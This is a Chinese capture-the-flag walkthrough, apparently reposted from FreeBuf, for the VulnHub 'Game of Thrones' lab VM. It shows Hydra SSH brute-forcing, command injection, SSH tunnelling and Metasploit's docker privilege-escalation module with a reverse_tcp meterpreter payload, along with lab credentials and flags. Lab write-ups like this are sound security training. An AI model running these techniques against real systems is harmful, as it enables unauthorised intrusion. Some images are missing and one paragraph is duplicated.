0x01 前言
这个靶机的主题是“权利的游戏”,难度在中高水平,目标是获得七国的flag和四个额外的flag,其中包括三个secret flag和一个final flag,需要一点《权力的游戏》的知识,完全没看过也没有关系,但是作为一名黑客,这种史诗电视剧还是推荐你去看一下。在夺旗过程中你需要反复看地图,地图会给你很多信息,还要仔细看每个提示。
0x02 环境配置
靶机下载地址:https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/我用的是VMware,虚拟机NAT方式连接,靶机自动获取IP本次实战:靶机IP:192.168.128.137本机IP:192.168.128.106
0x03 实战演练
namp开路,IP发现:














John --format = dynamic_2008 a.txt

mcrypt -d the_wall.txt.nc






命令:nslookup -q = txt Timef0rconqu3rs.7Kingdoms.ctf 192.168.128.137
text = “You conquered Iron Islands kingdom flag: 5e93de3efa544e85dcd6311732d28f95
现在我们将新域名添加到/etc/hosts并打开上面TXT记录中找到的链接
http://stormlands.7kingdoms.ctf:10000
我们使用在TXT记录中找到的用户名和密码登录
Enter using this user/pass combination: aryastark/N3ddl3_1s_a_g00d_sword#!
随便看看网站有没有问题
使用文件管理器模块,打开一个文件管理器,访问看看里面的文件
浏览器要执行Java模块才能打开文件管理器,这个我也卡了好久,我是用IE解决的
在/ home / aryastark文件夹中,找到了一个名为flag.txt的文件
下载文件在主机中打开它,找到了第三个flag:
This is your flag: 8fc42c6ddf9966db3b09e84365034357
nmap扫描的时候就知道靶机正在运行postgresql,现在这个提示是要我们访问数据库,使用上面找到的文件中提供的用户名密码连接
psql -h 192.168.128.137 --u robinarryn -d mountainandthevale
找到一个名为flag的表,打开它找到了一个base64编码的字符串
我们解码base64编码字符串找到了我们的第四个flag:
This is your flag: bb3aec0fdcdbc2974890f805c585d432
检查其他表格以防过任何有用的信息,在其中一个表格中,我们找到了几个名字
select * from aryas_kill_list;
在arya_kill_list中,发现这些名字似乎会用得到
在数据库中搜索,我们找到一个rot16编码的字符串。
select * from braavos_book;
1 | City of Braavos is a very particular place. It is not so far from here.
2 | “There is only one god, and his name is Death. And there is only one thing we say to Death: Not today” – Syrio Forel
3 | Braavos have a lot of curious buildings. The Iron Bank of Braavos, The House of Black and White, The Titan of Braavos, etc.
4 | “A man teaches a girl. -Valar Dohaeris- All men must serve. Faceless Men most of all” – Jaqen H’ghar
6 | “A girl has no name” – Arya Stark
7 | City of Braavos is ruled by the Sealord, an elected position.
8 | “That man’s life was not yours to take. A girl stole from the Many-Faced God. Now a debt is owed” – Jaqen H’ghar
9 | Dro wkxi-pkmon qyn gkxdc iye dy mrkxqo iyeb pkmo. Ro gkxdc iye dy snoxdspi kc yxo yp iyeb usvv vscd. Covomd sd lkcon yx drsc lyyu’c vycd zkqo xewlob. Dro nkdklkco dy myxxomd gsvv lo lbkkfyc kxn iyeb zkccgybn gsvv lo: FkvkbWybqrevsc
现在转换这个rot16编码,找到了数据库的名称和密码,同时也给了我们一个提示,要使用我们在上表中找到的用户名。
The many-faced god wants you to change your face. He wants you to identify as one of your kill list. Select it based on this book's lost page number. The database to connect will be braavos and your password will be: ValarMorghulis
枚举用户名后,我们发现TheRedWomanMelisandre是用户名

3f82c41a70a8b0cfec9052252d9fd721

knock 192.168.128.137 3487 64535 12345
由于我的kali怎么都敲不开,我不得不换一台kali虚拟机,终于敲开了
现在我们用nmap扫描来检查服务器上是否有新的端口打开,我们发现正在运行imap的端口143打开了
nmap -p- 192.168.128.137
使用netcat连接它,我们使用前面找到的用户名和密码。
NC 192.168.128.137 143
在收件箱中,我们找到了我们的第 六个flag,我们也得到了使用端口1337的提示,并给出了登录用户名和密码
我们登录到网站,发现它是git网站。
TywinLannister LannisterN3verDie!

标题下的编码信息是十六进制的,解码:/home/tyrionlannister/checkpoint.txt
经过一些命令注入,找到了如下信息
第七个flag: c8d46d341bea4fd5bff866a65ff8aea9 ,以及SSH的用户名和密码:
用户: daenerystargaryen
密码: .Dracarys4thewin。
ssh登录:(xshell)
通过查找,我发现了两个名为digger.txt和checkpoint.txt的文件,checkpoint.txt包含一个提示:通过ip 172.25.0.2的ssh登录,并使用文件digger.txt中的字典
我们通过ssh将digger.txt下载到我们的系统中。
scp digger.txt [email protected]:
我们使用本地隧道将其绑定到我们的2222端口。
ssh [email protected]28.137 -L 2222:172.25.0.2:22 -N
现在我使用hydra通过ssh登录,使用root作为用户名,并使用digger.txt文件来爆破密码
发现了用root的密码“Dr4g0nGl4ss!”
我们使用这个口令来通过ssh登录,我们使用localhost进行连接,因为我们已经完成了ssh本地隧道的绑定
查看文件发现了一个secret flag,我们还得到了一个用户名和密码来通过ssh登录
Host’s ssh:
branstark/Th3_Thr33_Ey3d_Raven
This is your flag: a8db1d82db78ed452ba0882fb9554fc9
我们使用metasploit通过ssh使用这个用户名和密码来进行连接
msf>use auxiliary/scanner/ ssh / ssh_login
msf auxiliary(scanner / ssh / ssh_login)> set rhosts 192.168.128.137
msf auxiliary(scanner / ssh / ssh_login)>set username branstark
msf auxiliary(scanner / ssh / ssh_login)>set password Th3_Thr33_Ey3d_Raven
msf auxiliary(scanner / ssh / ssh_login)>run
在搜索了一些版本信息和提权脚本后,我注意到这个服务器是基于docker的,所以我在metasploit中使用docker提权脚本
msf>使用exploit / linux / local / docker_daemon_privilege_escalation
msf exploit(linux / local / docker_daemon_privilege_escalation)> set lhost 192.168.128.137
msf exploit(linux / local / docker_daemon_privilege_escalation)> set payload linux / x86 / meterpreter / reverse_tcp
msf exploit(linux / local / docker_daemon_privilege_escalation)> set session 1
msf exploit(linux / local / docker_daemon_privilege_escalation)>run
现在我拿到了提权后的会话,现在检查发现自己是root权限

查看文件,找到一个名为final_battle的密码保护zip文件和一个告诉我们如何找到密码的文件,它包含一些伪代码,告诉我们如何使用我们找到的secret flag来找到密码


通过伪代码,找到了另一个flag:3f82c41a70a8b0cfec9052252d9fd721
现在我已经获得了2个secret flag,通过文件搜索我发现音乐文件中有一个secret flag,我找到了2个音乐文件,使用exiftool发现了mp3文件包含的secret flag
exiftool game_of_thrones.mp3
找到三个secrect flag:
8bf8854bebe108183caeb845c7676ae4
3f82c41a70a8b0cfec9052252d9fd721
a8db1d82db78ed452ba0882fb9554fc9
将伪代码写成python代码:
我们运行程序,找到了密码

Password:45c7676ae4252d9fd7212fb9554fc9
我们使用zip来提取文件并使用找到的密码
7z e final_battle
我们发现一个名为flag.txt的文件被提取,我们打开文件并找到我们的final flag
8e63dcd86ef9574181a9b6184ed3dde5
我发现了一个名为flag.txt的文件,打开文件找到我们的final flag
8e63dcd86ef9574181a9b6184ed3dde5
所有flag都已找到:
congratulations you pwned the seven kingdoms game of thrones ctf AWESOME
参考文章:
https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/
http://www.hackingarticles.in/hack-game-thrones-vm-ctf-challenge/
* 本文作者:小鸟,转载请注明来自FreeBuf.COM
来源:freebuf.com 2018-06-23 09:00:32 by: 小鸟




































